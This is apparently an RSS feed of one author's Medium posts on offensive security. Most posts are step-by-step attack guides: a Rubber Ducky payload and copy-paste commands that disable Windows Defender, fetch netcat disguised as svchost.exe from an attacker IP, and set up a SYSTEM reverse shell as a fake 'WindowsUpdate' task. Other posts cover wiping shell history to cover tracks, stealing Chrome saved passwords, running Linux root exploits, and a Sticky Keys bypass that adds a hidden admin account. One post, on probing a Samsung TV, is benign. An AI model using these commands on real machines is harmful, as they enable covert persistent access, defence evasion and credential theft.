<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sayooj on Medium]]></title>
        <description><![CDATA[Stories by Sayooj on Medium]]></description>
        <link>https://medium.com/@sayoojs2005?source=rss-bfed4b4598e3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*h3kpNx5vfyNyiTcR_LKrPA.jpeg</url>
            <title>Stories by Sayooj on Medium</title>
            <link>https://medium.com/@sayoojs2005?source=rss-bfed4b4598e3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 04:24:05 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sayoojs2005/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Ultimate Guide to Clearing Shell History]]></title>
            <link>https://medium.com/@sayoojs2005/the-ultimate-guide-to-clearing-shell-history-03014385abda?source=rss-bfed4b4598e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/03014385abda</guid>
            <category><![CDATA[clearing-tracks]]></category>
            <dc:creator><![CDATA[Sayooj]]></dc:creator>
            <pubDate>Wed, 05 Aug 2026 04:19:59 GMT</pubDate>
            <atom:updated>2026-08-05T04:19:59.677Z</atom:updated>
            <content:encoded><![CDATA[<p>As a security researcher or system administrator, maintaining clean logs and shell history is CRUCIAL for both security and privacy. Whether you’re working in a sensitive environment, preparing for a forensic investigation, or just want to keep your terminal tidy, knowing how to properly clear shell history is an essential skill.</p><blockquote><em>⚠️ DISCLAIMER: Use these commands responsibly! Clearing history might violate organizational policies or data retention requirements. Always check your compliance requirements first.</em></blockquote><h3>📂 Where History is Stored</h3><h4>For Bash Users:</h4><p># Check history settings<br>echo $HISTSIZE # Memory history size<br>echo $HISTFILESIZE # File history size<br>echo $HISTFILE # History file location<br># Typically: /home/user/.bash_history</p><h4>For Zsh Users:</h4><p># Check history settings<br>echo $HISTSIZE # Memory history size<br>echo $SAVEHIST # File history size <br>echo $HISTFILE # History file location<br># Typically: /home/user/.zsh_history</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*vMKUKsNmUV4A1DV3mghRPw.png" /></figure><h3>👁️ Viewing Your History</h3><p># View last 10 commands<br>history 10</p><p># View entire history<br>history</p><p># View with timestamps (if enabled)<br>history -i</p><p># Directly view the history file<br>cat ~/.zsh_history<br>cat ~/.bash_history</p><p># Paginated viewing<br>more ~/.zsh_history<br>less ~/.zsh_history</p><p># View with line numbers<br>nl ~/.zsh_history</p><p># Search history for specific commands<br>history | grep “sudo”</p><h3>🎯 Setting History Limits</h3><h3>For Bash:</h3><p># Disable history completely (temporary)<br>export HISTSIZE=0<br>export HISTFILESIZE=0</p><p># Set to small number<br>export HISTSIZE=10<br>export HISTFILESIZE=20</p><p># Prevent duplicate commands<br>export HISTCONTROL=ignoredups:erasedups</p><p># Ignore specific commands<br>export HISTIGNORE=”ls:cd:exit:history”</p><h3>For Zsh:</h3><p># Disable history completely (temporary)<br>export HISTSIZE=0<br>export SAVEHIST=0</p><p># Set to small number<br>export HISTSIZE=10<br>export SAVEHIST=20</p><p># Prevent duplicates<br>setopt HIST_IGNORE_DUPS<br>setopt HIST_IGNORE_SPACE</p><p># Don’t save certain commands<br>export HISTIGNORE=”ls:cd:exit:history”</p><h3>🔒 Make Permanent</h3><p>ec</p><p>ho ‘export HISTSIZE=0’ &gt;&gt; ~/.bashrc<br>source ~/.bashrc</p><h3>🛠️ Methods to Clear History</h3><h3>Method 1️⃣: Clear Current Session Only</h3><h4>For Bash:</h4><p># Clear current session history (memory)<br>history -c</p><h4>For Zsh:</h4><p># Zsh doesn’t have ‘history -c’<br># Instead, use this to clear memory history<br>fc -p<br># Note: This may open an editor — type :q to exit</p><h3>Method 2️⃣: Empty the History File</h3><p># Method A: Using cat<br>cat /dev/null &gt; ~/.zsh_history</p><p># Method B: Using redirection (shorter)<br>&gt; ~/.zsh_history</p><p># Method C: Using truncate<br>truncate -s 0 ~/.zsh_history</p><p># Method D: Using echo<br>echo “” &gt; ~/.zsh_history</p><h3>Method 3️⃣: Secure Deletion with Shred 🔐</h3><p>For security-sensitive environments, use shred to overwrite the file multiple times:</p><p># Overwrite and delete history file<br>shred -u ~/.zsh_history</p><p># Overwrite with multiple passes (default 3)<br>shred -n 10 ~/.zsh_history</p><p># Zero out after overwriting<br>shred -z -n 10 ~/.zsh_history</p><p># Verbose output to see progress<br>shred -v -z -n 10 ~/.zsh_history</p><h3>Method 4️⃣: Combined Approach</h3><p>This approach clears BOTH file and memory history:</p><h4>For Bash:</h4><p>shred ~/.bash_history &amp;&amp; cat /dev/null &gt; ~/.bash_history &amp;&amp; exec bash</p><h4>For Zsh:</h4><p>shred ~/.zsh_history &amp;&amp; cat /dev/null &gt; ~/.zsh_history &amp;&amp; exec zsh</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=03014385abda" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering Windows Persistence: A Deep Dive into USB Rubber Ducky Backdoors]]></title>
            <link>https://medium.com/@sayoojs2005/mastering-windows-persistence-a-deep-dive-into-usb-rubber-ducky-backdoors-4677cf4d8ac2?source=rss-bfed4b4598e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/4677cf4d8ac2</guid>
            <category><![CDATA[rubber-ducky]]></category>
            <dc:creator><![CDATA[Sayooj]]></dc:creator>
            <pubDate>Tue, 21 Jul 2026 17:10:44 GMT</pubDate>
            <atom:updated>2026-07-21T17:10:44.133Z</atom:updated>
            <content:encoded><![CDATA[<h3>⚠️ Legal Disclaimer</h3><p>This guide is for educational purposes and authorized security testing only. Using these techniques on systems you do not own is illegal and unethical. Always obtain explicit written permission before conducting any security testing.</p><p>In the world of cybersecurity, physical access is often considered the ultimate advantage. With just a few seconds of unsupervised physical access to a Windows 11 machine, an attacker can establish a persistent backdoor that survives reboots, bypasses Windows Defender, and provides SYSTEM-level access indefinitely. This article explores the technical details behind such an attack, breaking down the PowerShell commands, evasion techniques, and persistence mechanisms involved.</p><p>The attack leverages a USB Rubber Ducky, a keystroke injection tool that emulates a USB keyboard . When plugged into a target machine, it executes a pre-programmed sequence of keystrokes at superhuman speed. This payload opens an elevated PowerShell window, bypasses User Account Control (UAC), disables Windows Defender temporarily, downloads a payload, establishes persistence via scheduled tasks, and cleans up traces of the activity</p><p>The official Hak5 USB Rubber Ducky is powerful but expensive (around $100+). For many security enthusiasts and students, that’s a significant investment</p><p>You can build a fully functional USB Rubber Ducky clone using a Raspberry Pi Pico for under $10. I built mine this way, and it works perfectly!</p><p>Build yours now: <a href="https://github.com/dbisu/pico-ducky">https://github.com/dbisu/pico-ducky</a></p><h3>The Complete DuckyScript</h3><p><strong>The entire attack can be executed with a single USB Rubber Ducky payload.</strong></p><p><strong>Copy the Payload into payload.dd in Setup Mode</strong></p><p><strong>Important: Update the Attacker IP!</strong></p><p>Before using the payload, you MUST change 192.168.29.67 to your actual Kali IP address. Find it with<strong> ip a</strong> command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wYQrttx_VMZ5bj1tCUu7mA.png" /></figure><p>REM Title: Windows 11 Backdoor — syshelper.exe Port 7777<br>REM Target: Windows 10/11<br>REM Kali IP: 192.168.29.67<br>REM Download Port: 8888<br>REM Shell Port: 7777</p><p>REM === Wait for system to recognize the Ducky ===<br>DELAY 5000</p><p>REM === Open Run Dialog ===<br>GUI r<br>DELAY 1000</p><p>REM === Launch PowerShell as Admin ===<br>STRING powershell -Command “Start-Process powershell -Verb runAs”<br>ENTER<br>DELAY 3000</p><p>REM === Bypass UAC ===<br>ALT y<br>DELAY 2000</p><p>REM === Execute payload with syshelper.exe on port 7777 ===<br>STRING powershell -Command “Set-MpPreference -DisableRealtimeMonitoring 1; Add-MpPreference -ExclusionPath ‘C:\Windows\Temp\’ -ErrorAction SilentlyContinue; Invoke-WebRequest ‘<a href="http://192.168.29.67:8888/nc64.exe&#39;">http://192.168.29.67:8888/nc64.exe&#39;</a> -OutFile ‘C:\Windows\Temp\syshelper.exe’; schtasks /create /tn ‘WindowsUpdate’ /tr ‘C:\Windows\Temp\syshelper.exe -e cmd.exe 192.168.29.67 7777’ /sc minute /mo 1 /ru SYSTEM /f; schtasks /run /tn ‘WindowsUpdate’; Set-MpPreference -DisableRealtimeMonitoring 0; Clear-History; exit”<br>ENTER</p><h3>Kali Setup Before Plugging in the Ducky</h3><p>Step 1: Download nc64.exe on Kali</p><p>Step 2: Start Python Web Server (Port 8888)</p><p>Step 3: Start Netcat Listener (Port 7777)</p><p>This waits for the target to connect back to you</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4677cf4d8ac2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Had 5 Minutes Alone With a Windows PC.]]></title>
            <link>https://medium.com/@sayoojs2005/i-had-5-minutes-alone-with-a-windows-pc-f97a776994b1?source=rss-bfed4b4598e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/f97a776994b1</guid>
            <category><![CDATA[physical-pentest]]></category>
            <category><![CDATA[persistent]]></category>
            <dc:creator><![CDATA[Sayooj]]></dc:creator>
            <pubDate>Tue, 21 Jul 2026 08:04:28 GMT</pubDate>
            <atom:updated>2026-07-21T17:14:45.734Z</atom:updated>
            <content:encoded><![CDATA[<h3>I Had 5 Minutes Alone With a Windows PC. Here’s What I Left Behind.: Windows Persistence via Scheduled Tasks</h3><p>This is how a bad employee or a determined attacker can own an internal Windows machine and maintain access indefinitely, even after reboots.</p><p>⚠️ Disclaimer</p><p>This article is for educational and research purposes only. The techniques demonstrated are intended to help security professionals understand attack vectors and defend their networks.</p><p>Do not use these methods on systems you do not own or have explicit written permission to test. Unauthorized access to computer systems is illegal and punishable by law.</p><h3><strong>I also created a script to automate all these tasks to save time, you just need a Rubber Ducky</strong></h3><p><a href="https://medium.com/@sayoojs2005/mastering-windows-persistence-a-deep-dive-into-usb-rubber-ducky-backdoors-4677cf4d8ac2?sharedUserId=sayoojs2005">https://medium.com/@sayoojs2005/mastering-windows-persistence-a-deep-dive-into-usb-rubber-ducky-backdoors-4677cf4d8ac2?sharedUserId=sayoojs2005</a></p><h3>Delivery Methods</h3><p>Before we begin, it’s important to understand that there are multiple ways to get netcat (or any payload) onto the target machine. In this demo, I’ll use a Python HTTP server to download the file. But you can use any method like USB, Any other file sharing or even you can use USB Rubber Ducky.</p><h3>Step 0: Host Netcat on Attacker Machine</h3><p>On your Kali/attacker machine Download Netcat and rename nc64.exe to svchost.exe to Avoids suspicion and Bypass casual inspection then start a Python HTTP server to host the netcat binary</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LH_Puf_2ZZE5H_VTryxxlw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V8MtSSr6LTk6tLCrUmAhGw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H2BIGRBhaPsfEvM83dOVtw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lbj3v4Krkba1EI9VevMPKw.png" /></figure><p>Now netcat is available at: <a href="http://[attacker-ip]:8000/nc.exe">http://[attacker-ip]:8000/</a>svchost.exe</p><h3>Step 1: Download Netcat to the Target</h3><p>Before Downloading nc to target machine, now the windows will consider netcat as malicious and it will remove it. So first we need turn off virus and threat protection but after that we can turn on it. Because we are planning to exlcude the payload file from the defender.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*cASqoTW6dsQ9oiNvleWyhA.png" /></figure><p>Then go to <a href="http://[attacker-ip]:8000/nc.exe">http://[attacker-ip]:8000/</a>svchost.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*LwbsZvborIpLHLDj7PnwDA.png" /></figure><p>Download Netcat to the target machine and copy it into Temp Folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QCFItyvr68pUS5xX9V_uFg.png" /></figure><h3>Step 2: Exclude from Windows Defender</h3><p>Now that the payload is on the system, we need to make sure Windows Defender doesn’t delete or quarantine it.</p><pre>Add-MpPreference -ExclusionPath &quot;C:\Windows\Temp\svchost.exe&quot;</pre><pre>Add-MpPreference -ExclusionPath &quot;C:\Windows\Temp\&quot;</pre><p>Windows Defender will now ignore anything in the excluded paths including our reverse shell.</p><h3>Step 3: Verify Exclusions</h3><p>Confirm that the exclusions were added successfully.</p><pre>Get-MpPreference | Select-Object -Property ExclusionPath</pre><h3>Step 4: Create Persistent Scheduled Task</h3><p>Now we create a scheduled task that runs our reverse shell every minute as SYSTEM. (Replace Attacker IP to yours)</p><pre>schtasks /create /tn &quot;WindowsUpdate&quot; /tr &quot;C:\Windows\Temp\svchost.exe -e cmd.exe 192.168.29.67 4444&quot; /sc minute /mo 1 /ru SYSTEM /f</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*i4k4CmVgVlgPxfu5eiIULA.png" /></figure><h3>Step 5: Verify and Run the Task</h3><pre>schtasks /query /tn &quot;WindowsUpdate&quot;</pre><pre>schtasks /run /tn &quot;WindowsUpdate&quot;</pre><h3>Step 7: Clear PowerShell History</h3><p>This removes any trace of the commands we just ran.</p><pre>Clear-History</pre><p>Note: This only clears the current session history. For complete forensic evasion, consider also clearing Event Logs and other artifacts.</p><p><strong>Or you can just copy paste all in once (replace kali ip to yours)</strong></p><p>Add-MpPreference -ExclusionPath “C:\Windows\Temp\svchost.exe”</p><p>Add-MpPreference -ExclusionPath “C:\Windows\Temp\”</p><p>Get-MpPreference | Select-Object -Property ExclusionPath</p><p>schtasks /create /tn “WindowsUpdate” /tr “C:\Windows\Temp\svchost.exe -e cmd.exe 192.168.29.67 4444” /sc minute /mo 1 /ru SYSTEM /f</p><p>schtasks /query /tn “WindowsUpdate”</p><p>schtasks /run /tn “WindowsUpdate”</p><p>Clear-History</p><p><strong>Make sure to turn on Virus and Threat Protection back</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*_a4H6XC-YBr22GzfaCQjTA.png" /></figure><h3>Step 8: Start Listener on Kali</h3><p>Back on the attacker machine, start the netcat listener to receive the incoming connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NkjKHQ2dpTfQL6InCrcIYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*neuxlFmTEHPy0AEODFvVCw.png" /></figure><p>You now have a SYSTEM shell on the target machine.</p><p>The beauty of this attack is that the scheduled task persists across reboots. Even if the victim restarts their machine:</p><ol><li>The task remains in the Task Scheduler database</li><li>It triggers automatically on boot (if configured) or within 1 minute</li><li>The reverse shell reconnects to your listener</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f97a776994b1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My TV Had Secrets. Here’s How I Found Them: Pentesting my Samsung TV]]></title>
            <link>https://medium.com/@sayoojs2005/pentesting-my-samsung-tv-6289914e2590?source=rss-bfed4b4598e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/6289914e2590</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[tv]]></category>
            <dc:creator><![CDATA[Sayooj]]></dc:creator>
            <pubDate>Fri, 05 Jun 2026 05:53:51 GMT</pubDate>
            <atom:updated>2026-06-05T06:02:06.094Z</atom:updated>
            <content:encoded><![CDATA[<p>This was my first time hacking an IoT device. I didn’t expect much from a 43&quot; Samsung TV .it’s just a screen, right? But within an hour, I found myself staring at an open port running Apple’s AirTunes protocol on a device that had never seen a single Apple logo. No exploits. No shell access. Just a silent, encrypted service running in the background of my living room, without my permission or knowledge. That’s when I realized: IoT hacking isn’t always about winning. Sometimes it’s about waking up.</p><h3>Phase 1: Discovery &amp; Reconnaissance</h3><h3>Network Enumeration</h3><p>The assessment began with host discovery on the local network</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PslSWKzJYqjWQ68t2cn-Lw.png" /></figure><p>This identified all active devices on the subnet. The TV’s IP address was isolated from the results based on its manufacturer OUI prefix in the MAC address.</p><h3>Port Scanning</h3><p>A standard TCP port scan was performed against the TV’s IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ta7pvNLOCj7Zfir6oMpTEw.png" /></figure><p>No unusual open ports appeared initially. A version detection scan was then conducted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OgMNdTmVpsRF9nC00VjRlw.png" /></figure><p>TCP port 7000 was flagged as running RTSP the Real Time Streaming Protocol</p><p>This was unexpected. RTSP is common in media servers, but AirTunes is Apple’s proprietary streaming protocol, part of the AirPlay ecosystem. Finding it on a Samsung TV (a non-Apple device) was the first anomaly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*FJaJP1rGU1pgEP6L0OIuTA.png" /></figure><h3>Phase 2: Manual RTSP Probing</h3><p>A manual OPTIONS request was sent to understand the server&#39;s behavior</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LcS2d-KnFRoFBE9D4aJ-3A.png" /></figure><p>Payload Breakdown</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*JgF3pU7QwkmtXLgPWedFlg.png" /></figure><p>The server responded but refused to disclose supported methods.</p><h3>TLS Verification</h3><p>Given that modern AirPlay implementations encrypt traffic, TLS was confirmed using OpenSSL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GrkfG1nfTyWyyDImpFDyow.png" /></figure><p>A full TLS handshake was successful. The service presented a valid certificate and was ready to negotiate encrypted sessions yet provided no application-layer metadata or prompts</p><h3>Phase 3: Automated &amp; Advanced Probing</h3><p>The rtsp-methods NSE script was executed to enumerate supported RTSP verbs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YDbfftCw6HAAh3bkW0qQ1g.png" /></figure><p>It shows script execution failed.</p><p>No method disclosure. All standard RTSP methods (DESCRIBE, SETUP, PLAY, RECORD, TEARDOWN, etc.) returned 403 Forbidden or were silently ignored.</p><h3>Phase 4: Post-Pentest Hardening Measures</h3><p>While no direct exploit was discovered, the exposure itself justified security improvements. The following measures were implemented on the local network</p><h3>1. Network Segmentation</h3><p>All IoT devices including the TV were moved to a dedicated VLAN, isolated from the primary network containing workstations and personal devices. This prevents lateral movement in case of future compromise.</p><h3>2. Firewall Rules</h3><p>Inbound traffic to the TV from the internet was blocked. Internal access to ports 7000 was restricted to only authorized devices (e.g., the official remote app on a specific phone).</p><h3>3. Disabled Unused Features</h3><p>While the TV lacked a native setting to disable AirPlay/RTSP, all available media sharing options were turned off. Developer options were reviewed for any external control toggles</p><h3>4. Firmware Updates</h3><p>The TV was updated to the latest firmware to ensure any known AirTunes vulnerabilities (such as those in the Airborne research) were patched.</p><h3>5. Network Monitoring</h3><p>A local packet sniffer (tcpdump / Wireshark) was deployed to periodically audit traffic to and from the TV, watching for unexpected beaconing or data exfiltration attempts</p><h3>Conclusion</h3><p>This pentest did not achieve remote code execution, privilege escalation, or system compromise. <strong>But that is not the point.</strong></p><p>The critical takeaway is this: a modern Samsung TV is silently running a legacy Apple streaming protocol over TLS, with encrypted network communications, without any user-facing indication. The average consumer has no idea their TV is speaking AirTunes. The vendor provides no toggle to disable it. The service accepts connections, negotiates encryption, and is discoverable on the local network.</p><p><strong>This is a security blind spot.</strong></p><p>We often romanticize hacking as shell access and root flags. In reality, the most common risks are quiet protocol leaks, unexamined legacy services, and trust assumptions baked into consumer devices. You don’t need a zero-day to own a network .sometimes you just need an endpoint that thinks it’s a speaker, but actually exposes an entire protocol stack</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6289914e2590" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Hackers Steal Your Browser Saved Passwords]]></title>
            <link>https://medium.com/@sayoojs2005/how-hackers-steal-your-browser-saved-passwords-d61263c5deb6?source=rss-bfed4b4598e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/d61263c5deb6</guid>
            <category><![CDATA[password-security]]></category>
            <category><![CDATA[chrome-password]]></category>
            <dc:creator><![CDATA[Sayooj]]></dc:creator>
            <pubDate>Mon, 01 Jun 2026 17:29:26 GMT</pubDate>
            <atom:updated>2026-06-01T17:29:26.824Z</atom:updated>
            <content:encoded><![CDATA[<p>Most people save their passwords in their browser for convenience. What they don’t know is that these passwords are easy to steal. Once an attacker gains access to a victim’s machine using any type of shell like Meterpreter they can extract every saved username and password from browsers like Chrome, Edge, or Brave in seconds.</p><p>In this guide, I’ll show you how hackers steal saved passwords and cookies from a victim’s Chrome browser after gaining initial access.</p><p><strong>⚠️ Disclaimer: This content is for educational and authorized security testing purposes only. Never use these techniques against systems you do not own or have explicit permission to test.</strong></p><h3>Step 1: Initial foothold</h3><p>we assume the attacker has already gained an initial foothold on the victim’s machine. Here i got a Meterpreter shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z8f7pHnW01Rj3oMwee4viQ.png" /></figure><h3>Step 2: Download Chromelevator on the Attacker Machine</h3><p><a href="https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption">https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*g3G-dZwtGE0q1-ETo6vPNg.png" /></figure><p>Then extract it.</p><h3>Step 3: Upload the Executable to the Victim Machine</h3><p>Using your existing shell session, upload the suitable executable file (x64/arm) to a writable location on the victim machine (e.g., C:\Temp or /tmp).</p><p>But here i am just uploading it to Downloads directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Hrd2Yarqb4QGgu6JU3Z7g.png" /></figure><h3>Step 4: Switch to a Normal Shell</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4VcmuEqa-QF8cChVT1JFYw.png" /></figure><h3>Step 5: Run Chromelevator</h3><p>Navigate to the upload directory and execute the tool. Chromelevator can extract credentials from any Chromium-based browser (Chrome, Edge, Brave, Opera, etc.). Here, we target Chrome and save the output to a file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p9qD0NuHPkaPq1RApV8BxA.png" /></figure><h3>Step 5: Check the Extracted Data</h3><p>Check the output</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xQOOdIaDKohg_qHPoBKQNg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d61263c5deb6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dirty Frag: A New Page-Cache Write Vulnerability]]></title>
            <link>https://medium.com/@sayoojs2005/dirty-frag-a-new-page-cache-write-vulnerability-bcc0d20120ed?source=rss-bfed4b4598e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/bcc0d20120ed</guid>
            <category><![CDATA[dirty-frag]]></category>
            <dc:creator><![CDATA[Sayooj]]></dc:creator>
            <pubDate>Mon, 01 Jun 2026 05:16:47 GMT</pubDate>
            <atom:updated>2026-06-01T05:16:47.267Z</atom:updated>
            <content:encoded><![CDATA[<p>The Dirty Frag vulnerability class allows attackers to obtain root privileges on major Linux distributions by chaining two distinct vulnerabilities: the xfrm-ESP Page-Cache Write (CVE-2026–43284) and the RxRPC Page-Cache Write (CVE-2026–43500).</p><p>Dirty Frag extends the bug class to which Dirty Pipe and Copy Fail belong. Unlike many traditional exploits, Dirty Frag is a deterministic logic bug that does not depend on a timing window. As a result:</p><ul><li>No race condition is required</li><li>The kernel does not panic when the exploit fails</li><li>The success rate is very high</li></ul><h3>Demo Steps</h3><p>Download the exploit from</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jN7Cmp0Ej5_xeoJ6kr089w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r9I-u_z9J21Utpunq8svaw.png" /></figure><p>Compile and run the exploit</p><p>After execution, a root shell is granted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1imFfI5OIhYVbShLwZ3a3w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bcc0d20120ed" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Copy Fail CVE-2026-31431 : Passwordless Root Shell in Major Linux Distros]]></title>
            <link>https://medium.com/@sayoojs2005/copy-fail-cve-2026-31431-passwordless-root-shell-in-major-linux-distros-bacf114add90?source=rss-bfed4b4598e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/bacf114add90</guid>
            <category><![CDATA[copyfail]]></category>
            <dc:creator><![CDATA[Sayooj]]></dc:creator>
            <pubDate>Sun, 31 May 2026 07:43:48 GMT</pubDate>
            <atom:updated>2026-05-31T07:45:03.614Z</atom:updated>
            <content:encoded><![CDATA[<h3>Step 1: Initial access as a normal user</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qPRraZzz0ieVsLHP3wegzQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6EEuBTuZS84dDNRMNAV81Q.png" /></figure><p>Also try to get root shell using <strong>su</strong></p><p>Standard su fails without the correct root password.</p><h3>Step 2: Deploy the “copy fail” exploit</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_cZKSJFkQ8e91E1rdKWOHA.png" /></figure><p>You can download the exploit from</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Of3AQSLMWGeYgq-H0ScA7A.png" /></figure><p>Run the exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DosTBa4YeftGZnqcJk6gGg.png" /></figure><p>After running the exploit you will get a shell. Check <strong>whoami</strong> and<strong> id</strong> to Verify root access inside the exploited shell.</p><h3>Step 3: Exit the exploit shell and observe persistent effect</h3><p>Back to the Original normal user shell and try <strong>su</strong> again</p><p>Root shell is granted without any password prompt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*neQgsEiam38yRHomonpgnQ.png" /></figure><p>The exploit poisons the cached in-memory copy of /usr/bin/su, and exiting the root shell does not clear the poisoned page, causing repeated su attempts to continue using the modified version.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bacf114add90" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Password Bypass: Sticky Keys Exploit]]></title>
            <link>https://medium.com/@sayoojs2005/windows-password-bypass-sticky-keys-exploit-12147be2408b?source=rss-bfed4b4598e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/12147be2408b</guid>
            <category><![CDATA[sticky-keys]]></category>
            <dc:creator><![CDATA[Sayooj]]></dc:creator>
            <pubDate>Sat, 30 May 2026 14:03:39 GMT</pubDate>
            <atom:updated>2026-05-30T14:05:31.752Z</atom:updated>
            <content:encoded><![CDATA[<p>Windows has a file called sethc.exe that runs Sticky Keys (Shift ×5). It runs with top-level SYSTEM privileges from the login screen.</p><p>We simply replace that file with cmd.exe. Now Shift ×5 opens a command prompt with full power.</p><h3>Step 1: Boot into Recovery Mode, Open x drive shell</h3><p>At login screen → Click Power → Hold Shift + Click Restart</p><p>Then go to</p><p><em>Troubleshoot → Advanced Options → Command Prompt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6dPxTqcQb-rBpVL65NuEKw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mbftsyUQQoiXZgkhpoGl3g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p492fyuWQ56mAvNJT6OtdA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K-HWOMvuob0zjLbcxK0rWw.jpeg" /></figure><h3>Step 2: Backup original sethc.exe file</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rRMARWwYIK12JqTUGSyqiQ.jpeg" /></figure><h3>Step 3: Replace with cmd.exe and exit</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TaKE4ge7FY2aOp8N3vr0EQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-PNUIJSsL9WAwxIGL8iisg.jpeg" /></figure><h3>Step 5: Trigger the hack</h3><p>At login screen, press Shift 5 times.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DBNDHwFiygBtzy2uklaSwA.jpeg" /></figure><p>A command prompt appears instead of sticky keys!!!</p><p>Triggering the exploit drops you into a full admin shell, letting you run any command before login</p><h3>What can you do now?</h3><h3>Reset any password</h3><p>net user Administrator NewPass123</p><h3>Create a hidden admin</h3><p>net user hacker Pass123 /add<br>net localgroup administrators hacker /add</p><p><strong>Then close CMD and log in with the new password.</strong></p><h3>Conclusion</h3><p>The Sticky Keys exploit is a perfect example of a simple design flaw with serious consequences. A feature built for accessibility ,pressing Shift five times becomes a powerful backdoor when an attacker gains physical access to a machine.</p><img 